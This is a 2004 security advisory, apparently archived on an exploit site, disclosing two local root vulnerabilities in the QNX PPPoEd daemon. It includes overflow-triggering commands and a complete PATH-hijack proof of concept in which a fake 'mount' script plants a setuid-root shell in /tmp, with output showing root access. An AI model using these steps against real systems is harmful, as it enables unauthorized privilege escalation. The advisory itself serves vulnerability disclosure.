what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

qnx-pppoed-multiple-flaws.txt

qnx-pppoed-multiple-flaws.txt
Posted Sep 9, 2004
Authored by Julio Cesar Fort

rfdslabs security advisory - QNX PPPoEd is susceptible to multiple local root vulnerabilities. QNX RTP 6.1 is affected.

tags | exploit, local, root, vulnerability
SHA-256 | 9ede65eb6707ad4a2815b517a4730417e97987b4d3aa5d8a08f8199ad3e32c5b

qnx-pppoed-multiple-flaws.txt

Change Mirror Download
                *** rfdslabs security advisory ***

Title: QNX PPPoEd local root vulnerabilities [RLSA_01-2004]
Versions: QNX RTP 6.1 (possibly others)
Vendor: http://www.qnx.com
Date: 02 Sep 2004

Author: Julio Cesar Fort <julio at rfdslabs com br>


1. Introduction

PPPoEd daemon is used to provide a PPPoE connection, such as DSL, for QNX
users. More information can be found at QNX Developer Support:
www.qnx.com/developers/docs/momentics621_docs/neutrino/utilities/p/pppoed.html
There are two vulnerabilities that can lead to local root access.

2. Details

#1 Buffer overflow

PPPoEd has multiple problems with bounds checking. Almost every flag with
oversized length crashes PPPoEd, overwriting memory. Once it is by default suid
owned by root, an attacker can execute arbitrary instructions to elevate privi-
ledges. Above is an example to cause this overflow.

$ export overflow256='AAAAAAAAAAAAAAA(...)' (around 256 A's)
$ /usr/bin/pppoed -F $overflow256
Memory fault (core dumped)
$ /usr/bin/pppoed service=$overflow256
Memory fault (core dumped)
...
And it repeats in 'name', 'en', 'upscript', 'downscript', 'retries', 'timeout',
'scriptdetach', 'noscript', 'nodetach', 'remote_mac' and 'local_mac' flags.


#2 Old $PATH trick

PPPoEd calls "mount -T io-net npm-pppoe.so" without full path. If someone
wants to cheat PPPoEd and tricks it to execute his own malicious code, it can
be possible modifying $PATH. With this modification, '/usr/sbin/pppoed' will
simple execute 'mount' (hostile code) looking for it at /tmp directory.
Simple proof-of-concept steps are above.

$ cd /tmp
$ cat << _EOF_ > mount
#!/bin/sh
cp /bin/sh /tmp/rootshell
chown root /tmp/rootshell
chmod 4777 /tmp/rootshell
echo "Here comes your root shell"
_EOF_

$ chmod 755 mount
$ export PATH=/tmp:$PATH
$ /usr/sbin/pppoed
$ ls -la /tmp
-rwxr-xr-x 1 sandimas users 88 Aug 25 2004 mount
-rwsrwxrwx 1 root 100 153384 Jun 22 2001 /tmp/rootshell
$ /tmp/rootshell
Here comes your root shell
# uname -a
QNX sandimas 6.1.0 2001/06/25-15:31:48 edt x86pc x86
#

3. Solution

rfdslabs tried to contact QNX Software Systems but no security staff e-mail
was found. No solution yet.

4. Timeline

27 Aug 2004: Vulnerabilities detected;
28 Aug - 01 Sep: Looking for QNX security staff contact e-mail: no success;
02 Sep 2004: Advisory written and sent to security mail-lists.

Thanks to DataStorm Technologies, Lucien Rocha and everyone at rfdslabs.

www.rfdslabs.com.br - computers, sex, humand mind and more
Recife, PE, Brazil
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close